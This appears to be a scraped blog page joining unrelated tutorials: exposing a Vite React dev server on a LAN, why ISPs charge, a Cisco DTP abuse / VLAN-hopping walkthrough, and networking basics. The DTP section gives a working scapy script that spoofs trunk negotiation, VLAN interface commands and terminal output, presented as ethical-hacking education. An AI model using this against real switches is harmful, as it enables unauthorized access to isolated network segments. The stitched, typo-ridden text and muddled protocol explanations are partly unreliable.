Access your reactjs app on another device within the same network

Certainly, Reactjs is a JavaScript library developed by Facenook for building user interfaces. It allows developers to create reusable UI components and effciently manage the state of their applications. Here are some key aspects of Reactjs.

Now we will run a ReactJS Vite app hosted on localhost:5173 on another laptop within the same network, but you need to make a few adjustments like this -

Steps to Access the Vite App on Another Laptop:

 

1) Ensure Both Devices Are on the Same Network:

Both laptops should be connected to the same Wi-Fi or local area network (LAN).


2) Find the Host Laptop's IP Address

On Windows:

 

Open Command Prompt and type: ipconfig
Look for the IPv4 address under your active network connection.
        
On macOS/Linux:
Open the terminal and type: ifconfig or ip addr
Find the IP address of the active network interface.


3) Run the Vite App

Start your Vite development server by running npm run dev (or yarn dev) on the host laptop.



4) Update the URL

Instead of localhost:5173, use the host laptop's IP address with port 5173. For example:

    
http://<HOST_LAPTOP_IP>:5173


Replace <HOST_LAPTOP_IP> with the actual IP address, like 192.168.1.10:5173.



5) Allow Connections Through Firewall (If Necessary)

On Windows:
Search for "Windows Defender Firewall" > "Allow an app or feature through Windows Defender Firewall."
Ensure your development environment (e.g., Node.js) is allowed for both private and public networks.

On macOS/Linux:

Ensure the firewall (if enabled) allows incoming connections on port 5173.

Access the App on Another Laptop
Open a browser on the second laptop and type the IP-based URL (e.g., http://192.168.1.10:5173).



Notes:


If you're using Vite's default configuration, it binds the server to localhost. To make it accessible to other devices, you may need to modify the vite.config.js:


Restart the server after making this change.

  
  

export default {
  server: {
    host: '0.0.0.0', // Allows connections from other devices
    port: 5173,
  },
}; 

Disclaimer

Why we pay for internet?

ISP stands for internet service providers which are those whom help us to access internet. For example Jio, Airtel, BSNL etc.

one of the reason is because ISP spends his own money for transmiting internet over optical Fibre and optical fibre is too costly. Sometimes optical fibre get damaged so onthat time  maintainance and repairing cost and efforts are too high.

The money spent over optical fibre thorugh deep sea is too costly and difficult it needs a lot of efforts team work and experts peoples.


Transmiting the internet over the country via cell towers and wifi towers is also need money for construction and maintainance. They also provice serivces to customers. They also hire employee for provide us best experience.

These are just few of reason about why we need to pay to ISP for internet!!!

Disclaimer

DTP Abusing

DTP stands for dynamic trunking protocol. This protocol is basically cisco proprietary protocol which is layer 2 protcol that means it once only one cisco devices and it operates are layer 2 OSI Model and this protocol is used to form trunking automatically between two switches and the DTP feature is bydefault enabled on cisco switches.


So, lets understand about the Mode in DTP -

actually by default whenever you buy a new switch ports will be dynamically auto or it will be dynamically desirable so lets understand one by one, the dynamic auto.


Dynamic Auto :- In this mode the switchport  will wait for the neighbor to initiate, order to form trunk. Like the dynamic the ports switch which are in dynamic auto mode they will never initiate to form the trunk, They can form trunk but when the never will initiate. They themselves don't initiate to form the trunk.



Dynamic Desirable :- In this mode the switchport actively participate to form trunk thats mean if this switch port are current dynamic desirable mode then they will themselves initiate and they will form the trunk. So, along with the trunk in encapsulation will also be negotiated between two swiches so let me show you with the helo of figure that we mentioned below.



So, here is the port the dynamic switch auto and other one is dynamic auto also so they will exchange the DTP messages but no body will be initiate because both are in dynamic automode , the ports which are in dynamic auto mode they cannot initiate to form the trunk and in this case 

The DD will also be send DTP, the DD will also send, so in this case the ports will initiate to form the trunk and when the neighbor will initiate to form the trunk, the DD will also accepted and they will form the trunks, so in this case the trunk will be dynamically from between the two switches.

Here they will exchange the DTP messages and they both will initiate
 

Additional Detail- Let's read
For short refreshing:

Ethernet is on Layer 2, IP (Internet Protocol) on Layer 3, TCP (Transport Control Protocol) or UDP on Layer 4–6 and services like HTTP, SMTP,
FTP on Layer 7.

Also read -

Code Your Own ARP Spoofing Over VLAN Hopping - CLICK HERE
Code your own MAC Flooding Tool - CLICK HERE
Defend ARP poisoning attacks - CLICK HERE
Code your own ARP Cache Poisoning - CLICK HERE

Thanks to the DTP protocol and its property to completely overlook any kind of security we now can send a single Dynamic-Desirable packet to every DTP enabled Cisco device and ask it to change our port into a trunk port.

Code Your Own DTP Packet

#!/usr/bin/python3

import sys
from scapy.layers.l2 import Dot3 , LLC, SNAP
from scapy.contrib.dtp import *

if len(sys.argv) < 2:
    print(sys.argv[0] + " <dev>")
    sys.exit()

negotiate_trunk(iface=sys.argv[1])

As an optional parameter you can set the MAC address of the spoofed neighbor switch if none is set a random one will be automatically generated.

The attack can last some minutes, but an attacker doesn’t care about the delay, because they know what they get in exchange the possibility to connect to every VLAN!

• sudo vconfig add eth0 <vlan-id>
• sudo ifconfig eth0.<vlan-id> <ip_of_vlan> up

example -

• vconfig add wlan0 1
• ifconfig wlan0.1 192.168.13.15 up

NOTE- <ip_of_vlan> thats mean as per your need or you can any IP with your mind.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
└─$ sudo vconfig add wlan0 1                                                                                                                                                            2 ⚙
[sudo] password for hackerboy: 

Warning: vconfig is deprecated and might be removed in the future, please migrate to ip(route2) as soon as possible!

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
└─$ sudo ifconfig wlan0.1 192.168.13.15 up                                                                                                                                              2 ⚙
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
└─$                                                                                                                                                                                     2 ⚙
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
└─$ ifconfig                                                                                                                                                                            2 ⚙

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.21.25  netmask 255.255.255.0  broadcast 192.168.21.255
        inet6 fe80::aa80:f129:e78d:aa96  prefixlen 64  scopeid 0x20<link>
        inet6 2409:4064:195:1000:288e:7e35:5b22:f417  prefixlen 64  scopeid 0x0<global>
        ether fc:01:7c:29:00:77  txqueuelen 1000  (Ethernet)
        RX packets 89316  bytes 69611668 (66.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 74658  bytes 42465996 (40.4 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0.1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.13.15  netmask 255.255.255.0  broadcast 192.168.13.255
        inet6 fe80::fe01:7cff:fe29:77  prefixlen 64  scopeid 0x20<link>
        ether fc:01:7c:29:00:77  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6  bytes 516 (516.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/vlan]
└─$                                    

Now we can run program with wlan0.1 interface (see the code above).

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/mymodule]
└─$ sudo python3 dtp-trunk.py wlan0.1            
[sudo] password for hackerboy: 
Trying to negotiate a trunk on interface wlan0.1
.
Sent 1 packets.
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/mymodule]
└─$ 

Disclaimer

In a computer network, machines can communicate with each other by means of protocols.

This protocols ensures that computers can communicate with different hardware and software for their use. Largely different types of networks have these protocols on the Internet and each has its own purpose.
 

Do you know what the primary goal of networking is? Let us know about networking packets The primary goal of networking is to exchange information between computer networks, this information is carried by packets.

Packets

Packets are nothing but streams of bits used for data transmission over physical media as electric signals. Such media as a wire in a LAN ( local area network ) or the air in a WiFi network.

These electricals signals are then interpreted as bits ( zeros and ones ) that make up the information. Every packets in every protocol has the following structure.

The header has a protocol specific structure. This ensures that the receiving host can properly interpret the payload and handle the entire communication.

The header has a protocol specific structure. This ensures that the receiving host can properly interpret the payload and handle the entire communication.

This payload is the actual information so it could be something like part of an email messages what the content of a file during download of any messages.

Example The IP Header

For example, the internet protocol header is atleast 160 bits (20 bytes) long, and it includes  information to interpret the content of the IP packets.

Pic Credit Ine

The first four bits identify the Internet protocol (IP) version. Today they can be used to represent IP version 4 or 6.

Pic Credit Ine

The 32 bits starting at position 96 represent the source address.

Also read -  Master Local Area Network (LAN) Topologies In Just A Few Hours!

The following tour bytes represent the destination address.

Pic Credit Ine

Using the information in header, the nodes involved in the communication can understand and use IP packets.

Also read - Network Monitoring Tools HelpSystems Intermapper

Protocol layers

There are many protocols out there, each for a specific purpose.

Purpose like -

# Transmitting data.
# identifying computers on a network.
# Exchanging emails, files or performing VoIP calls.
# Establishing a communication between the a server and a client.




Instead of using specific examples, let's focusing on the features that a protocol provides-


# Use the physical media to send packets.
# identify hosts
# Make an application ( email client, FTP, browsers, ....) work.
# transport data between processes ( the server and the client programs ).




Moreover, we can rewrite the list again as:

# Application Layer
# Transport Layer
# Network Layer
# Physical Layer



These layers work on top of one another and every layer has its own protocols.


For example -

A few examples of application layer protocols are the Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), Post Office Protocol (POP), Simple Mail Transfer Protocol (SMTP), and Domain Name System (DNS).
The application layer does not need to know how to identify a process on a host, how to reach it and how to use the copper wire to establish a communication.



It's just uses its underlying layers.

The OSI Model

The OSI (Open Systems Interconnection) Model is a standardised model which we use to demonstrate the theory behind computer networking. In practice, it's actually the more compact TCP/IP model that real-world networking is based off; however the OSI model, in many ways, is easier to get an initial understanding from. The OSI Model: An Overview

There are many mnemonics floating around to help you learn the layers of the OSI model -- search around until you find one that you like.



Let's briefly take a look at each of these in turn:

slowly scroll the iframe below

Also read - The TCP IP Model in Networking

Encapsulation

So let's know how the protocols work with each other.  If each protocol has header and payload, then how can the protocol use these lower layers?

The entire upper protocol packet ( header and payload ) is the payload of the lower one, this is called encapsulation.
TCP is the real world implementation of a networking stack and is the protocol stack used on the internet.

The TCP/IP model is, in many ways, very similar to the OSI model. It's a few years older, and serves as the basis for real-world networking. The TCP/IP model consists of four layers: Application, Transport, Internet and Network Interface. Between them, these cover the same range of functions as the seven layers of the OSI Model. The TCP IP Model in Networking

You would be justified in asking why we bother with the OSI model if it's not actually used for anything in the real-world. The answer to that question is quite simply that the OSI model (due to being less condensed and more rigid than the TCP/IP model) tends to be easier for learning the initial theory of networking.

For More Details Click on the below iframe slowly slowly -

Disclaimer

All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.